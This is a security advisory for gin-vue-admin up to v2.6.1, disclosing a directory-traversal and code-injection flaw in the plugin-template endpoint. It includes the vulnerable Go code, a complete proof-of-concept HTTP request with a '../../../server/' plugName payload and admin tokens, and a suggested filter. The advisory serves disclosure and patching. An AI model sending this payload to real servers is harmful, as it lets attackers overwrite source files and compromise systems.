  "details" : "### Impact\n\"gin-vue-admin<=v2.6.1 has a code injection vulnerability in the backend. In the Plugin System -> Plugin Template feature, an attacker can perform directory traversal by manipulating the 'plugName' parameter. They can create specific folders such as 'api', 'config', 'global', 'model', 'router', 'service', and 'main.go' function within the specified traversal directory. Moreover, the Go files within these folders can have arbitrary code inserted based on a specific PoC parameter.\"\n\nAffected code: https://github.com/flipped-aurora/gin-vue-admin/blob/746af378990ebf3367f8bb3d4e9684936df152e7/server/api/v1/system/sys_auto_code.go:239. Let's take a look at the method 'AutoPlug' within the 'AutoCodeApi' struct.\n```go\nfunc (autoApi *AutoCodeApi) AutoPlug(c *gin.Context) {\n\tvar a system.AutoPlugReq\n\terr := c.ShouldBindJSON(&a)\n\tif err != nil {\n\t\tresponse.FailWithMessage(err.Error(), c)\n\t\treturn\n\t}\n\ta.Snake = strings.ToLower(a.PlugName)\n\ta.NeedModel = a.HasRequest || a.HasResponse\n\terr = autoCodeService.CreatePlug(a)\n\tif err != nil {\n\t\tglobal.GVA_LOG.Error(\"预览失败!\", zap.Error(err))\n\t\tresponse.FailWithMessage(\"预览失败\", c)\n\t\treturn\n\t}\n\tresponse.Ok(c)\n}\n```\nThe main reason for the existence of this vulnerability is the controllability of the PlugName field within the struct.\n```go\ntype AutoPlugReq struct {\n\tPlugName    string         `json:\"plugName\"` // 必然大写开头\n\tSnake       string         `json:\"snake\"`    // 后端自动转为 snake\n\tRouterGroup string         `json:\"routerGroup\"`\n\tHasGlobal   bool           `json:\"hasGlobal\"`\n\tHasRequest  bool           `json:\"hasRequest\"`\n\tHasResponse bool           `json:\"hasResponse\"`\n\tNeedModel   bool           `json:\"needModel\"`\n\tGlobal      []AutoPlugInfo `json:\"global,omitempty\"`\n\tRequest     []AutoPlugInfo `json:\"request,omitempty\"`\n\tResponse    []AutoPlugInfo `json:\"response,omitempty\"`\n}\n```\nPOC：\n```\nPOST /api/autoCode/createPlug HTTP/1.1\nHost: 192.168.31.18:8080\nContent-Length: 326\nAccept: application/json, text/plain, */*\nx-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiNzJlZWQ4OTUtYzUwOC00MDFiLWIyYzQtMTk2MWMyOTlkOWNhIiwiSUQiOjEsIlVzZXJuYW1lIjoiYWRtaW4iLCJOaWNrTmFtZSI6Ik1yLuWlh-a3vCIsIkF1dGhvcml0eUlkIjo4ODgsIkJ1ZmZlclRpbWUiOjg2NDAwLCJpc3MiOiJxbVBsdXMiLCJhdWQiOlsiR1ZBIl0sImV4cCI6MTcxMjIxMTM4MywibmJmIjoxNzExNjA2NTgzfQ.uq61pJNi4kzUXb8lEkVa7NBCBvp_Ye59fee-TJV_rpE\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36\nx-user-id: 1\nContent-Type: application/json\nOrigin: http://192.168.31.18:8080\nReferer: http://192.168.31.18:8080/\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6\nCookie: x-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiNzJlZWQ4OTUtYzUwOC00MDFiLWIyYzQtMTk2MWMyOTlkOWNhIiwiSUQiOjEsIlVzZXJuYW1lIjoiYWRtaW4iLCJOaWNrTmFtZSI6Ik1yLuWlh-a3vCIsIkF1dGhvcml0eUlkIjo4ODgsIkJ1ZmZlclRpbWUiOjg2NDAwLCJpc3MiOiJxbVBsdXMiLCJhdWQiOlsiR1ZBIl0sImV4cCI6MTcxMjIyMDA4NiwibmJmIjoxNzExNjE1Mjg2fQ.XVV97Ky17E9pUO_byVgK--FnAp9ye4Tpab2jnma6dBU\nConnection: close\n\n{\"plugName\":\"../../../server/\",\"routerGroup\":\"111\"\t,\"hasGlobal\":true,\"hasRequest\":false,\"hasResponse\":false,\"global\":[{\"key\":\"1\",\"type\":\"1\",\"desc\":\"1\"},{\"key\":\"type\",\"value\":\"faspohgoahgioahgioahgioashogia\",\"desc\":\"1\",\"type\":\"string\"}],\"request\":[{\"key\":\"\",\"type\":\"\",\"desc\":\"\"}],\"response\":[{\"key\":\"\",\"type\":\"\",\"desc\":\"\"}]}\n```\nBy performing directory traversal and creating directories such as api, config, global, model, router, and service within the gin-vue-admin/server directory, an attacker can tamper with the source code and the main.go file. They can potentially overwrite or tamper with the Go source code files located in the directory C:\\代码审计\\server to further compromise the system.\n![image](https://github.com/flipped-aurora/gin-vue-admin/assets/142187061/c2cad65a-6401-41c2-ba0d-6eb5e3760516)\n![image](https://github.com/flipped-aurora/gin-vue-admin/assets/142187061/681ca156-c125-4a9f-9443-825a34a89b2d)\n![image](https://github.com/flipped-aurora/gin-vue-admin/assets/142187061/6870ce90-8166-48c7-a02c-29c4429283d4)\n\n\n### Patches\nPlease wait for the latest patch\n\n### Workarounds\nYou can use the following filtering methods to rectify the directory traversal problem\nif strings.Index(plugPath, \"..\") > -1 {\n        fmt.Println(\"no bypass\",plugPath)\n    }\n### References\nhttps://github.com/flipped-aurora/gin-vue-admin\n",
